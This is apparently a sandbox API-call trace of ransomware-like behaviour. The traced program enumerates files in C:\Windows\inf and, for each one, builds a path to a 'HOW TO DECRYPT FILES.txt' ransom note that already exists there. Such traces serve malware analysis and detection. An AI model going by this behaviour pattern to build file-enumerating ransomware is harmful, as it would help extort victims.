[0130.506] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00b.inf" | out: lpString1="C:\\Windows\\inf\\prnep00b.inf") returned="C:\\Windows\\inf\\prnep00b.inf" [0130.506] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916b5fca, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x916b5fca, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x916b5fca, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x8954, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00b.PNF", cAlternateFileName="")) returned 1 [0130.506] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.506] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00b.inf") returned="prnep00b.inf" [0130.507] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.507] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.507] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.507] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.507] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00b.PNF" | out: lpString1="C:\\Windows\\inf\\prnep00b.PNF") returned="C:\\Windows\\inf\\prnep00b.PNF" [0130.507] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c872952, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c872952, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c872952, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x64dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00c.inf", cAlternateFileName="")) returned 1 [0130.507] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.508] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00b.PNF") returned="prnep00b.PNF" [0130.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.508] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.508] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.508] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.508] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00c.inf" | out: lpString1="C:\\Windows\\inf\\prnep00c.inf") returned="C:\\Windows\\inf\\prnep00c.inf" [0130.508] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a51ad, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x918a51ad, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x918a51ad, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4670, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00c.PNF", cAlternateFileName="")) returned 1 [0130.510] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.510] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00c.inf") returned="prnep00c.inf" [0130.510] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.510] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.510] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.511] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.511] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00c.PNF" | out: lpString1="C:\\Windows\\inf\\prnep00c.PNF") returned="C:\\Windows\\inf\\prnep00c.PNF" [0130.511] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c898ab3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c898ab3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c898ab3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4934, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00d.inf", cAlternateFileName="")) returned 1 [0130.511] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.511] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00c.PNF") returned="prnep00c.PNF" [0130.511] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.511] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.511] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.512] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.512] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00d.inf" | out: lpString1="C:\\Windows\\inf\\prnep00d.inf") returned="C:\\Windows\\inf\\prnep00d.inf" [0130.512] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91a480d0, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x91a480d0, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x91a480d0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00d.PNF", cAlternateFileName="")) returned 1 [0130.512] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.513] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00d.inf") returned="prnep00d.inf" [0130.513] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.513] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.513] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.513] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.513] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00d.PNF" | out: lpString1="C:\\Windows\\inf\\prnep00d.PNF") returned="C:\\Windows\\inf\\prnep00d.PNF" [0130.513] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c8bec13, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c8bec13, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c8bec13, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00e.inf", cAlternateFileName="")) returned 1 [0130.513] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.514] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00d.PNF") returned="prnep00d.PNF" [0130.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.514] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.514] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.514] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.514] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00e.inf" | out: lpString1="C:\\Windows\\inf\\prnep00e.inf") returned="C:\\Windows\\inf\\prnep00e.inf" [0130.514] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91beaff3, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x91beaff3, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x91beaff3, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x383c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00e.PNF", cAlternateFileName="")) returned 1 [0130.514] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.515] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00e.inf") returned="prnep00e.inf" [0130.515] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.515] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.515] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.515] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.515] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00e.PNF" | out: lpString1="C:\\Windows\\inf\\prnep00e.PNF") returned="C:\\Windows\\inf\\prnep00e.PNF" [0130.515] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c8e4d73, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c8e4d73, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c8e4d73, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x2d34, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00f.inf", cAlternateFileName="")) returned 1 [0130.515] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.516] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00e.PNF") returned="prnep00e.PNF" [0130.516] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.516] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.516] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.516] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.516] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00f.inf" | out: lpString1="C:\\Windows\\inf\\prnep00f.inf") returned="C:\\Windows\\inf\\prnep00f.inf" [0130.516] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca96d5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x91ca96d5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x91ca96d5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00f.PNF", cAlternateFileName="")) returned 1 [0130.516] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.517] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00f.inf") returned="prnep00f.inf" [0130.517] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.517] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.517] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.517] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.517] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00f.PNF" | out: lpString1="C:\\Windows\\inf\\prnep00f.PNF") returned="C:\\Windows\\inf\\prnep00f.PNF" [0130.517] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c90aed3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c90aed3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c90aed3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x2d34, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00g.inf", cAlternateFileName="")) returned 1 [0130.518] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.518] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00f.PNF") returned="prnep00f.PNF" [0130.518] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.518] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.518] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.518] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.518] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00g.inf" | out: lpString1="C:\\Windows\\inf\\prnep00g.inf") returned="C:\\Windows\\inf\\prnep00g.inf" [0130.518] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f0acd9, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x91f0acd9, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x91f0acd9, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00g.PNF", cAlternateFileName="")) returned 1 [0130.519] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.519] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00g.inf") returned="prnep00g.inf" [0130.519] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.519] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.519] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.519] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.519] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00g.PNF" | out: lpString1="C:\\Windows\\inf\\prnep00g.PNF") returned="C:\\Windows\\inf\\prnep00g.PNF" [0130.519] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c90aed3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c90aed3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c90aed3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xcc68, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00l.inf", cAlternateFileName="")) returned 1 [0130.520] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.520] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00g.PNF") returned="prnep00g.PNF" [0130.520] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.520] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.520] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.520] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.520] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00l.inf" | out: lpString1="C:\\Windows\\inf\\prnep00l.inf") returned="C:\\Windows\\inf\\prnep00l.inf" [0130.521] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9229cde0, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x9229cde0, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x9229cde0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0xb4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00l.PNF", cAlternateFileName="")) returned 1 [0130.521] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.521] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00l.inf") returned="prnep00l.inf" [0130.521] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.521] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.521] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.521] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.521] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00l.PNF" | out: lpString1="C:\\Windows\\inf\\prnep00l.PNF") returned="C:\\Windows\\inf\\prnep00l.PNF" [0130.522] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c97d2f4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c97d2f4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c97d2f4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x2508, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnfx002.inf", cAlternateFileName="")) returned 1 [0130.522] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.522] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00l.PNF") returned="prnep00l.PNF" [0130.522] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.522] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.522] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.522] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.522] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnfx002.inf" | out: lpString1="C:\\Windows\\inf\\prnfx002.inf") returned="C:\\Windows\\inf\\prnfx002.inf" [0130.523] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eed6f00, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8eed6f00, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8eed6f00, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x31a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnfx002.PNF", cAlternateFileName="")) returned 1 [0130.523] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.523] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnfx002.inf") returned="prnfx002.inf" [0130.523] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.523] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.523] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.523] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.523] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnfx002.PNF" | out: lpString1="C:\\Windows\\inf\\prnfx002.PNF") returned="C:\\Windows\\inf\\prnfx002.PNF" [0130.524] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9a3454, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c9a3454, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c9a3454, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1320, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnge001.inf", cAlternateFileName="")) returned 1 [0130.524] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.524] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnfx002.PNF") returned="prnfx002.PNF" [0130.524] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.524] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.524] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" 